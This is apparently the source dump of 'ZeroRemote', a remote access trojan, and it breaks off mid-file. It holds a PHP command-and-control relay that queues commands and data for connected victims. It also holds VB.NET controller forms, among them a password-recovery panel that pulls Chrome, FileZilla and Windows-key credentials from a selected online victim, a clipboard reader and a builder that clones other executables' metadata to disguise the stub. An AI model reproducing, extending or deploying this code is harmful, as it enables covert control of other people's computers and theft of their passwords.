45 | echo $newfile;
46 | }
47 | break;
48 | case 'connect':
49 | checkKey();
50 | $filename = $PostID.'.zero';
51 | $fp = fopen($Directory.$filename, "w");
52 | fwrite($fp, $PostData);
53 | fclose($fp);
54 | echo 'Success';
55 | break;
56 | case 'disconnect':
57 | checkKey();
58 | $filename = $PostID.'.zero';
59 | if(file_exists($Directory.$filename)){
60 | unlink($Directory.$filename);
61 | }
62 | echo 'Success';
63 | break;
64 | case 'clearresponse':
65 | if(file_exists('response.dat')){
66 | Unlink('response.dat');
67 | }
68 | break;
69 | case 'clearcmd':
70 | if(file_exists('cmd.dat')){
71 | Unlink('cmd.dat');
72 | }
73 | break;
74 | case 'readcmd':
75 | if (!file_exists('cmd.dat')) {
76 | $file = fopen('cmd.dat','w');
77 | fwrite($file, '');
78 | } else {
79 | readfile('cmd.dat');
80 | }
81 | break;
82 | case 'readdata':
83 | if (!file_exists('data.dat')) {
84 | $resp = fopen('data.dat', 'w');
85 | fwrite($resp, '');
86 | } else {
87 | $resp = fopen('data.dat', 'r');
88 | $buffer = '';
89 | while(!feof($resp)) {
90 | $buffer .= fread($resp, 128);
91 | }
92 | echo $buffer;
93 | }
94 | break;
95 | case 'saveresponse':
96 | writeFile('response.dat', $PostData);
97 | break;
98 | case 'writecmd':
99 | writeFile('cmd.dat', $PostData);
100 | break;
101 | case 'writedata':
102 | writeFile('data.dat', $PostData);
103 | break;
104 | }
105 |
106 | function checkKey() {
107 | global $key1;
108 | if(isset($_GET['key'])){
109 | if(($_GET['key']) != $key1) {
110 | echo 'Connection error';
111 | exit;
112 | }
113 | } else {
114 | echo 'Connection error';
115 | exit;
116 | }
117 | }
118 |
119 | function writeFile($filename, $data) {
120 | $open = fopen($filename, 'w');
121 | fwrite($open, $data);
122 | fclose($open);
123 | echo 'Ok';
124 | }
125 | // STFU. Strik3r!
126 | ?>
--------------------------------------------------------------------------------
/Server/Server/My Project/Resources.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 | Imports System
15 |
16 | Namespace My.Resources
17 |
18 | 'This class was auto-generated by the StronglyTypedResourceBuilder
19 | 'class via a tool like ResGen or Visual Studio.
20 | 'To add or remove a member, edit your .ResX file then rerun ResGen
21 | 'with the /str option, or rebuild your VS project.
22 | '''
23 | ''' A strongly-typed resource class, for looking up localized strings, etc.
24 | '''
25 | _
29 | Friend Module Resources
30 |
31 | Private resourceMan As Global.System.Resources.ResourceManager
32 |
33 | Private resourceCulture As Global.System.Globalization.CultureInfo
34 |
35 | '''
36 | ''' Returns the cached ResourceManager instance used by this class.
37 | '''
38 | _
39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
40 | Get
41 | If Object.ReferenceEquals(resourceMan, Nothing) Then
42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Server.Resources", GetType(Resources).Assembly)
43 | resourceMan = temp
44 | End If
45 | Return resourceMan
46 | End Get
47 | End Property
48 |
49 | '''
50 | ''' Overrides the current thread's CurrentUICulture property for all
51 | ''' resource lookups using this strongly typed resource class.
52 | '''
53 | _
54 | Friend Property Culture() As Global.System.Globalization.CultureInfo
55 | Get
56 | Return resourceCulture
57 | End Get
58 | Set
59 | resourceCulture = value
60 | End Set
61 | End Property
62 |
63 | '''
64 | ''' Looks up a localized string similar to .
65 | '''
66 | Friend ReadOnly Property UniqueIDNumber() As String
67 | Get
68 | Return ResourceManager.GetString("UniqueIDNumber", resourceCulture)
69 | End Get
70 | End Property
71 | End Module
72 | End Namespace
73 |
--------------------------------------------------------------------------------
/Server/Server/My Project/Settings.Designer.vb:
--------------------------------------------------------------------------------
1 | '------------------------------------------------------------------------------
2 | '
3 | ' This code was generated by a tool.
4 | ' Runtime Version:4.0.30319.18444
5 | '
6 | ' Changes to this file may cause incorrect behavior and will be lost if
7 | ' the code is regenerated.
8 | '
9 | '------------------------------------------------------------------------------
10 |
11 | Option Strict On
12 | Option Explicit On
13 |
14 |
15 | Namespace My
16 |
17 | _
20 | Partial Friend NotInheritable Class MySettings
21 | Inherits Global.System.Configuration.ApplicationSettingsBase
22 |
23 | Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
24 |
25 | #Region "My.Settings Auto-Save Functionality"
26 | #If _MyType = "WindowsForms" Then
27 | Private Shared addedHandler As Boolean
28 |
29 | Private Shared addedHandlerLockObject As New Object
30 |
31 | _
32 | Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
33 | If My.Application.SaveMySettingsOnExit Then
34 | My.Settings.Save()
35 | End If
36 | End Sub
37 | #End If
38 | #End Region
39 |
40 | Public Shared ReadOnly Property [Default]() As MySettings
41 | Get
42 |
43 | #If _MyType = "WindowsForms" Then
44 | If Not addedHandler Then
45 | SyncLock addedHandlerLockObject
46 | If Not addedHandler Then
47 | AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
48 | addedHandler = True
49 | End If
50 | End SyncLock
51 | End If
52 | #End If
53 | Return defaultInstance
54 | End Get
55 | End Property
56 |
57 | _
60 | Public Property UniqueIDNumber() As String
61 | Get
62 | Return CType(Me("UniqueIDNumber"),String)
63 | End Get
64 | Set
65 | Me("UniqueIDNumber") = value
66 | End Set
67 | End Property
68 | End Class
69 | End Namespace
70 |
71 | Namespace My
72 |
73 | _
76 | Friend Module MySettingsProperty
77 |
78 | _
79 | Friend ReadOnly Property Settings() As Global.Server.My.MySettings
80 | Get
81 | Return Global.Server.My.MySettings.Default
82 | End Get
83 | End Property
84 | End Module
85 | End Namespace
86 |
--------------------------------------------------------------------------------
/Client/Client/Client/BuilderAssemblyInformation.vb:
--------------------------------------------------------------------------------
1 | Imports System.Text
2 |
3 | Public Class BuilderAssemblyInformation
4 |
5 | Protected Overrides ReadOnly Property CreateParams() As CreateParams
6 | Get
7 | Dim Param As CreateParams = MyBase.CreateParams
8 | Param.ClassStyle = Param.ClassStyle Or &H200
9 | Return Param
10 | End Get
11 | End Property
12 |
13 | Private Sub TextBox7_KeyPress(sender As Object, e As KeyPressEventArgs) Handles TextBoxAssemblyVersion.KeyPress
14 | Dim allowedChars As String = "0123456789."
15 | If Char.IsDigit(e.KeyChar) = False And Char.IsControl(e.KeyChar) = False And allowedChars.IndexOf(e.KeyChar) = -1 Then
16 | e.Handled = True
17 | End If
18 | End Sub
19 |
20 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
21 | Me.Close()
22 | End Sub
23 |
24 | Private Function RandomString() As String
25 | Dim chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
26 | Dim random = New Random(Guid.NewGuid().GetHashCode())
27 | Dim mystring = New String(Enumerable.Repeat(chars, 20).[Select](Function(s) s(random.[Next](s.Length))).ToArray())
28 | Return mystring
29 | End Function
30 |
31 | ' Generate a random version string
32 | Private Function RandomVersion() As String
33 | Dim CharSet As String = "1234567890."
34 | Dim RandomMutex As New StringBuilder
35 | Dim rnd As New System.Random
36 | For i As Integer = 0 To 11
37 |
38 | If Not CharSet.ElementAt(rnd.Next(0, 11)) = "." AndAlso ((i = 0) Or (i = 11)) Then
39 | RandomMutex.Append(CharSet.ElementAt(rnd.Next(0, 10)))
40 | Else
41 | RandomMutex.Append(CharSet.ElementAt(rnd.Next(0, 11)))
42 | End If
43 | Next
44 | Return RandomMutex.ToString
45 | End Function
46 |
47 | Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
48 | TextBoxAssemblyCompany.Text = RandomString()
49 | TextBoxAssemblyCopyright.Text = RandomString()
50 | TextBoxAssemblyDescription.Text = RandomString()
51 | TextBoxAssemblyProduct.Text = RandomString()
52 | TextBoxAssemblyTitle.Text = RandomString()
53 | TextBoxAssemblyTrademark.Text = RandomString()
54 | TextBoxAssemblyVersion.Text = RandomVersion()
55 | End Sub
56 |
57 |
58 | ' Clone assembly information of an existing file
59 | Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
60 | Dim assemblypath As String = String.Empty
61 | Dim SelectAssemblyToCloneDialog As New OpenFileDialog
62 | SelectAssemblyToCloneDialog.Filter = "Executables |*.exe*"
63 | SelectAssemblyToCloneDialog.Multiselect = False
64 | SelectAssemblyToCloneDialog.Title = "Select Assembly to Clone"
65 | If SelectAssemblyToCloneDialog.ShowDialog = Windows.Forms.DialogResult.OK Then
66 | assemblypath = SelectAssemblyToCloneDialog.FileName
67 | Dim FileInfo As FileVersionInfo = FileVersionInfo.GetVersionInfo(assemblypath)
68 | TextBoxAssemblyCompany.Text = FileInfo.CompanyName
69 | TextBoxAssemblyCopyright.Text = FileInfo.LegalCopyright
70 | TextBoxAssemblyDescription.Text = FileInfo.FileDescription
71 | TextBoxAssemblyProduct.Text = FileInfo.ProductName
72 | TextBoxAssemblyTitle.Text = FileInfo.OriginalFilename
73 | TextBoxAssemblyTrademark.Text = FileInfo.LegalTrademarks
74 | TextBoxAssemblyVersion.Text = FileInfo.FileVersion
75 | Else
76 | Exit Sub
77 | End If
78 | End Sub
79 | End Class
80 |
--------------------------------------------------------------------------------
/Client/Client/Client/MessageBoxManager.vb:
--------------------------------------------------------------------------------
1 | Public Class MessageBoxManager
2 |
3 | Private Sub MessageBoxManager_Load(sender As Object, e As EventArgs) Handles MyBase.Load
4 | ImageComboBoxMsgBoxIcons.Items.Clear()
5 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("None", New Font("Microsoft Sans Serif", 8), Color.Black, 0))
6 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Information", New Font("Microsoft Sans Serif", 8), Color.Black, 1))
7 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Question", New Font("Microsoft Sans Serif", 8), Color.Black, 2))
8 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Warning", New Font("Microsoft Sans Serif", 8), Color.Black, 3))
9 | ImageComboBoxMsgBoxIcons.Items.Add(New ImageComboItem("Error", New Font("Microsoft Sans Serif", 8), Color.Black, 4))
10 | ImageComboBoxMsgBoxIcons.SelectedIndex = 0
11 | ImageComboBoxMsgBoxButtons.SelectedIndex = 0
12 | End Sub
13 |
14 |
15 | Private Sub ButtonTest_Click(sender As Object, e As EventArgs) Handles ButtonTest.Click
16 | MessageBox.Show(TextBoxMessage.Text, TextBoxTitle.Text, ChooseButtons(CStr(ImageComboBoxMsgBoxButtons.SelectedIndex)), ChooseIcon(CStr(ImageComboBoxMsgBoxIcons.SelectedIndex)))
17 | End Sub
18 |
19 | Private Function ChooseIcon(ByVal Index As String) As MessageBoxIcon
20 | Select Case Index
21 | Case "0"
22 | Return MessageBoxIcon.None
23 | Case "1"
24 | Return MessageBoxIcon.Information
25 | Case "2"
26 | Return MessageBoxIcon.Question
27 | Case "3"
28 | Return MessageBoxIcon.Exclamation
29 | Case "4"
30 | Return MessageBoxIcon.Error
31 | Case Else
32 | Return MessageBoxIcon.None
33 | End Select
34 | End Function
35 |
36 | Private Function ChooseButtons(ByVal Index As String) As MessageBoxButtons
37 | Select Case Index
38 | Case "0"
39 | Return MessageBoxButtons.OK
40 | Case "1"
41 | Return MessageBoxButtons.OKCancel
42 | Case "2"
43 | Return MessageBoxButtons.AbortRetryIgnore
44 | Case "3"
45 | Return MessageBoxButtons.YesNo
46 | Case "4"
47 | Return MessageBoxButtons.YesNoCancel
48 | Case Else
49 | Return MessageBoxButtons.OK
50 | End Select
51 | End Function
52 | Private Sub ButtonSend_Click(sender As Object, e As EventArgs) Handles ButtonSend.Click
53 | If (TextBoxTitle.Text.Contains("|")) Or (TextBoxMessage.Text.Contains("|")) Then
54 | MsgBox("Please avoid this char '|' in your message.", MsgBoxStyle.Exclamation, "Invalid Message")
55 | Exit Sub
56 | Else
57 | If Main.ListViewMain.Items.Count > 0 Then
58 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
59 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
60 | Else
61 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
62 | End If
63 | Dim SendString As String = TextBoxMessage.Text & "|||" & TextBoxTitle.Text & "|||" & ImageComboBoxMsgBoxIcons.SelectedIndex.ToString & "|||" & ImageComboBoxMsgBoxButtons.SelectedIndex.ToString
64 | Try
65 | Main.WriteData(SendString)
66 | Main.WriteCommand(Main.SelectedUserID & "|59")
67 | Waiting.ShowDialog()
68 | Catch x As Exception
69 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Create Folder")
70 | End Try
71 | End If
72 | End Sub
73 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/PasswordRecovery.vb:
--------------------------------------------------------------------------------
1 | Public Class PasswordRecovery
2 |
3 | Private Sub CheckBoxConfirmUsage_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBoxConfirmUsage.CheckedChanged
4 | If CheckBoxConfirmUsage.Checked Then
5 | Button1.Enabled = True
6 | ListViewPasswords.Enabled = True
7 | Else
8 | ListViewPasswords.Items.Clear()
9 | Button1.Enabled = False
10 | ListViewPasswords.Enabled = False
11 | End If
12 | End Sub
13 |
14 | Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
15 | Settings.AddLog("Pending", Settings.State.Pending, "Requesting passwords...")
16 | ListViewPasswords.Items.Clear()
17 | If Main.ListViewMain.Items.Count > 0 Then
18 | If Main.ListViewMain.SelectedItems.Count <> 0 Then _
19 | Main.SelectedUserID = Main.ListViewMain.SelectedItems(0).Text
20 | Else
21 | MsgBox("No Users online.", MsgBoxStyle.Exclamation)
22 | End If
23 | Try
24 | Main.WriteCommand(Main.SelectedUserID & "|63")
25 | Waiting.ShowDialog()
26 | Catch x As Exception
27 | MsgBox("Unable to Send Command." & x.Message, MsgBoxStyle.OkOnly, "Passwordmanager")
28 | End Try
29 | End Sub
30 |
31 | Private Sub LinkLabel1_LinkClicked(sender As Object, e As LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
32 | Settings.TabControl1.SelectedIndex = 0
33 | Settings.ShowDialog()
34 | End Sub
35 |
36 | Public Sub SplitData(ByVal Data As String)
37 | If Data = Nothing Then
38 | MsgBox("Couldn't recieve data. Please retry.", MsgBoxStyle.Exclamation)
39 | Exit Sub
40 | End If
41 | ListViewPasswords.Items.Clear()
42 |
43 | 'Split recieved data into lsitview
44 |
45 | Dim lines() = Data.Split({"||||"}, StringSplitOptions.None)
46 | For Each line In lines
47 | Dim parts() = line.Split({"|||"}, StringSplitOptions.None)
48 | Dim item = ListViewPasswords.Items.Add(parts(0), 0)
49 | For i = 1 To Math.Min(parts.Length - 1, 3)
50 | Dim PIDcheck As String = parts(i)
51 | item.SubItems.Add(parts(i))
52 | Next
53 | Next
54 | For Each item As ListViewItem In ListViewPasswords.Items
55 | If item.Text = "Chrome" Then
56 | item.ImageIndex = 0
57 | ElseIf item.Text = "FileZilla" Then
58 | item.ImageIndex = 1
59 | ElseIf item.Text = "Windowskey" Then
60 | item.ImageIndex = 2
61 | End If
62 | If (String.IsNullOrWhiteSpace(item.Text) Or String.IsNullOrEmpty(item.Text)) Then
63 | item.Remove()
64 | End If
65 | Next
66 | End Sub
67 |
68 |
69 | Private Sub Label2_Click(sender As Object, e As EventArgs) Handles Label2.Click
70 | If CheckBoxConfirmUsage.Checked = False Then
71 | CheckBoxConfirmUsage.Checked = True
72 | Else
73 | CheckBoxConfirmUsage.Checked = False
74 | End If
75 | End Sub
76 | Private Sub Label1_Click(sender As Object, e As EventArgs) Handles Label1.Click
77 | If CheckBoxConfirmUsage.Checked = False Then
78 | CheckBoxConfirmUsage.Checked = True
79 | Else
80 | CheckBoxConfirmUsage.Checked = False
81 | End If
82 | End Sub
83 | Private Sub Label3_Click(sender As Object, e As EventArgs) Handles Label3.Click
84 | If CheckBoxConfirmUsage.Checked = False Then
85 | CheckBoxConfirmUsage.Checked = True
86 | Else
87 | CheckBoxConfirmUsage.Checked = False
88 | End If
89 | End Sub
90 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/Clipboard.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class Clipboard
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Clipboard))
26 | Me.RichTextBoxClipboard = New System.Windows.Forms.RichTextBox()
27 | Me.ButtonGetText = New System.Windows.Forms.Button()
28 | Me.ButtonSetText = New System.Windows.Forms.Button()
29 | Me.SuspendLayout()
30 | '
31 | 'RichTextBoxClipboard
32 | '
33 | Me.RichTextBoxClipboard.Location = New System.Drawing.Point(12, 12)
34 | Me.RichTextBoxClipboard.Name = "RichTextBoxClipboard"
35 | Me.RichTextBoxClipboard.Size = New System.Drawing.Size(270, 143)
36 | Me.RichTextBoxClipboard.TabIndex = 2
37 | Me.RichTextBoxClipboard.Text = ""
38 | '
39 | 'ButtonGetText
40 | '
41 | Me.ButtonGetText.Image = CType(resources.GetObject("ButtonGetText.Image"), System.Drawing.Image)
42 | Me.ButtonGetText.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
43 | Me.ButtonGetText.Location = New System.Drawing.Point(117, 161)
44 | Me.ButtonGetText.Name = "ButtonGetText"
45 | Me.ButtonGetText.Size = New System.Drawing.Size(99, 24)
46 | Me.ButtonGetText.TabIndex = 1
47 | Me.ButtonGetText.Text = "Get Text"
48 | Me.ButtonGetText.UseVisualStyleBackColor = True
49 | '
50 | 'ButtonSetText
51 | '
52 | Me.ButtonSetText.Image = CType(resources.GetObject("ButtonSetText.Image"), System.Drawing.Image)
53 | Me.ButtonSetText.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
54 | Me.ButtonSetText.Location = New System.Drawing.Point(12, 161)
55 | Me.ButtonSetText.Name = "ButtonSetText"
56 | Me.ButtonSetText.Size = New System.Drawing.Size(99, 24)
57 | Me.ButtonSetText.TabIndex = 0
58 | Me.ButtonSetText.Text = "Set Text"
59 | Me.ButtonSetText.UseVisualStyleBackColor = True
60 | '
61 | 'Clipboard
62 | '
63 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
64 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
65 | Me.ClientSize = New System.Drawing.Size(293, 192)
66 | Me.Controls.Add(Me.RichTextBoxClipboard)
67 | Me.Controls.Add(Me.ButtonGetText)
68 | Me.Controls.Add(Me.ButtonSetText)
69 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle
70 | Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
71 | Me.MaximizeBox = False
72 | Me.MinimizeBox = False
73 | Me.Name = "Clipboard"
74 | Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent
75 | Me.Text = "Clipboard"
76 | Me.TopMost = True
77 | Me.ResumeLayout(False)
78 |
79 | End Sub
80 | Friend WithEvents ButtonSetText As System.Windows.Forms.Button
81 | Friend WithEvents ButtonGetText As System.Windows.Forms.Button
82 | Friend WithEvents RichTextBoxClipboard As System.Windows.Forms.RichTextBox
83 | End Class
84 |
--------------------------------------------------------------------------------
/Client/Client/Client/IconComboBox.vb:
--------------------------------------------------------------------------------
1 | Imports System.Windows.Forms
2 | Imports System.Drawing
3 |
4 | Public Class ImageComboBox
5 | Inherits ComboBox
6 |
7 | Private mImageList As ImageList = Nothing
8 |
9 | Sub New()
10 | Me.DrawMode = Windows.Forms.DrawMode.OwnerDrawFixed
11 | End Sub
12 |
13 | Public Property ImageList() As ImageList
14 | Get
15 | Return mImageList
16 | End Get
17 | Set(ByVal value As ImageList)
18 | mImageList = value
19 | End Set
20 | End Property
21 |
22 | Protected Overrides Sub OnDrawItem(ByVal e As System.Windows.Forms.DrawItemEventArgs)
23 | MyBase.OnDrawItem(e)
24 |
25 | e.DrawBackground()
26 | e.DrawFocusRectangle()
27 |
28 | If e.Index >= 0 Then
29 |
30 | If TypeOf Me.Items(e.Index) Is ImageComboItem Then
31 | If mImageList IsNot Nothing Then
32 | Dim CurrItem As ImageComboItem = DirectCast(Me.Items(e.Index), ImageComboItem)
33 |
34 | If CurrItem.ImageIndex <> -1 Then
35 | Me.ImageList.Draw(e.Graphics, e.Bounds.Left, e.Bounds.Top, CurrItem.ImageIndex)
36 | e.Graphics.DrawString(CurrItem.Text, CurrItem.Font, _
37 | New SolidBrush(CType(CurrItem.ForeColor, Color)), _
38 | e.Bounds.Left + mImageList.ImageSize.Width, e.Bounds.Top)
39 | Else
40 | e.Graphics.DrawString(CurrItem.Text, CurrItem.Font, _
41 | New SolidBrush(CType(CurrItem.ForeColor, Color)), _
42 | e.Bounds.Left + mImageList.ImageSize.Width, e.Bounds.Top)
43 | End If
44 | End If
45 | Else
46 | e.Graphics.DrawString(Me.Items(e.Index).ToString(), e.Font, _
47 | New SolidBrush(e.ForeColor), e.Bounds.Left, e.Bounds.Top)
48 | End If
49 | End If
50 | End Sub
51 | End Class
52 |
53 | Public Class ImageComboItem
54 | Private mForeColor As Color = Color.Black
55 | Private mImageIndex As Integer = -1
56 | Private mTag As Object = Nothing
57 | Private mText As String = ""
58 | Private mFont As Font
59 |
60 | Sub New(ByVal Text As String, ByVal Font As Font, ByVal ForeColor As Color)
61 | mText = Text
62 | mFont = Font
63 | mForeColor = ForeColor
64 | End Sub
65 |
66 | Sub New(ByVal Text As String, ByVal Font As Font, _
67 | ByVal ForeColor As Color, ByVal ImageIndex As Integer)
68 | mText = Text
69 | mFont = Font
70 | mForeColor = ForeColor
71 | mImageIndex = ImageIndex
72 | End Sub
73 |
74 | Public Property ForeColor() As Color
75 | Get
76 | Return mForeColor
77 | End Get
78 | Set(ByVal value As Color)
79 | mForeColor = CType(value, Color)
80 | End Set
81 | End Property
82 |
83 | Public Property ImageIndex() As Integer
84 | Get
85 | Return mImageIndex
86 | End Get
87 | Set(ByVal value As Integer)
88 | mImageIndex = value
89 | End Set
90 | End Property
91 |
92 | Public Property Tag() As Object
93 | Get
94 | Return mTag
95 | End Get
96 | Set(ByVal value As Object)
97 | mTag = value
98 | End Set
99 | End Property
100 |
101 | Public Property Text() As String
102 | Get
103 | Return mText
104 | End Get
105 | Set(ByVal value As String)
106 | mText = value
107 | End Set
108 | End Property
109 |
110 | Public Property Font() As Font
111 | Get
112 | Return mFont
113 | End Get
114 | Set(ByVal value As Font)
115 | mFont = value
116 | End Set
117 | End Property
118 |
119 | Public Overrides Function ToString() As String
120 | Return mText
121 | End Function
122 | End Class
--------------------------------------------------------------------------------
/Client/Client/Client/NotificationGlobalMessage.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class NotificationGlobalMessage
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(NotificationGlobalMessage))
26 | Me.LabelInfo = New System.Windows.Forms.Label()
27 | Me.LabelTitle = New System.Windows.Forms.Label()
28 | Me.PictureBox1 = New System.Windows.Forms.PictureBox()
29 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
30 | Me.SuspendLayout()
31 | '
32 | 'LabelInfo
33 | '
34 | Me.LabelInfo.AutoSize = True
35 | Me.LabelInfo.Font = New System.Drawing.Font("Verdana", 6.75!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
36 | Me.LabelInfo.Location = New System.Drawing.Point(70, 34)
37 | Me.LabelInfo.Name = "LabelInfo"
38 | Me.LabelInfo.Size = New System.Drawing.Size(97, 12)
39 | Me.LabelInfo.TabIndex = 7
40 | Me.LabelInfo.Text = "{Global Message}"
41 | '
42 | 'LabelTitle
43 | '
44 | Me.LabelTitle.AutoSize = True
45 | Me.LabelTitle.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
46 | Me.LabelTitle.ForeColor = System.Drawing.SystemColors.ControlDarkDark
47 | Me.LabelTitle.Location = New System.Drawing.Point(5, 7)
48 | Me.LabelTitle.Name = "LabelTitle"
49 | Me.LabelTitle.Size = New System.Drawing.Size(180, 13)
50 | Me.LabelTitle.TabIndex = 9
51 | Me.LabelTitle.Text = "ZeroRemote - Global Message"
52 | '
53 | 'PictureBox1
54 | '
55 | Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image)
56 | Me.PictureBox1.Location = New System.Drawing.Point(8, 34)
57 | Me.PictureBox1.Name = "PictureBox1"
58 | Me.PictureBox1.Size = New System.Drawing.Size(48, 48)
59 | Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.AutoSize
60 | Me.PictureBox1.TabIndex = 8
61 | Me.PictureBox1.TabStop = False
62 | '
63 | 'NotificationGlobalMessage
64 | '
65 | Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
66 | Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
67 | Me.ClientSize = New System.Drawing.Size(277, 105)
68 | Me.Controls.Add(Me.LabelTitle)
69 | Me.Controls.Add(Me.PictureBox1)
70 | Me.Controls.Add(Me.LabelInfo)
71 | Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
72 | Me.Name = "NotificationGlobalMessage"
73 | Me.ShowInTaskbar = False
74 | Me.Text = "Notification"
75 | Me.TopMost = True
76 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
77 | Me.ResumeLayout(False)
78 | Me.PerformLayout()
79 |
80 | End Sub
81 | Friend WithEvents LabelInfo As System.Windows.Forms.Label
82 | Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox
83 | Friend WithEvents LabelTitle As System.Windows.Forms.Label
84 | End Class
85 |
--------------------------------------------------------------------------------
/Client/Client/Client/Waiting.Designer.vb:
--------------------------------------------------------------------------------
1 | _
2 | Partial Class Waiting
3 | Inherits System.Windows.Forms.Form
4 |
5 | 'Form overrides dispose to clean up the component list.
6 | _
7 | Protected Overrides Sub Dispose(ByVal disposing As Boolean)
8 | Try
9 | If disposing AndAlso components IsNot Nothing Then
10 | components.Dispose()
11 | End If
12 | Finally
13 | MyBase.Dispose(disposing)
14 | End Try
15 | End Sub
16 |
17 | 'Required by the Windows Form Designer
18 | Private components As System.ComponentModel.IContainer
19 |
20 | 'NOTE: The following procedure is required by the Windows Form Designer
21 | 'It can be modified using the Windows Form Designer.
22 | 'Do not modify it using the code editor.
23 | _
24 | Private Sub InitializeComponent()
25 | Me.components = New System.ComponentModel.Container()
26 | Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Waiting))
27 | Me.ProgressBar1 = New System.Windows.Forms.ProgressBar()
28 | Me.LabelLoadingStatus = New System.Windows.Forms.Label()
29 | Me.TimerResponseTime = New System.Windows.Forms.Timer(Me.components)
30 | Me.PictureBox1 = New System.Windows.Forms.PictureBox()
31 | CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
32 | Me.SuspendLayout()
33 | '
34 | 'ProgressBar1
35 | '
36 | Me.ProgressBar1.Location = New System.Drawing.Point(12, 37)
37 | Me.ProgressBar1.Name = "ProgressBar1"
38 | Me.ProgressBar1.Size = New System.Drawing.Size(174, 20)
39 | Me.ProgressBar1.TabIndex = 0
40 | '
41 | 'LabelLoadingStatus
42 | '
43 | Me.LabelLoadingStatus.AutoSize = True
44 | Me.LabelLoadingStatus.Font = New System.Drawing.Font("Verdana", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
45 | Me.LabelLoadingStatus.Location = New System.Drawing.Point(44, 13)
46 | Me.LabelLoadingStatus.Name = "LabelLoadingStatus"
47 | Me.LabelLoadingStatus.Size = New System.Drawing.Size(63, 13)
48 | Me.LabelLoadingStatus.TabIndex = 1
49 | Me.LabelLoadingStatus.Text = "Loading..."
50 | '
51 | 'TimerResponseTime
52 | '
53 | Me.TimerResponseTime.Interval = 10000
54 | '
55 | 'PictureBox1
56 | '
57 | Me.PictureBox1.Image = CType(resources.GetObject("PictureBox1.Image"), System.Drawing.Image)
58 | Me.PictureBox1.Location = New System.Drawing.Point(13, 10)
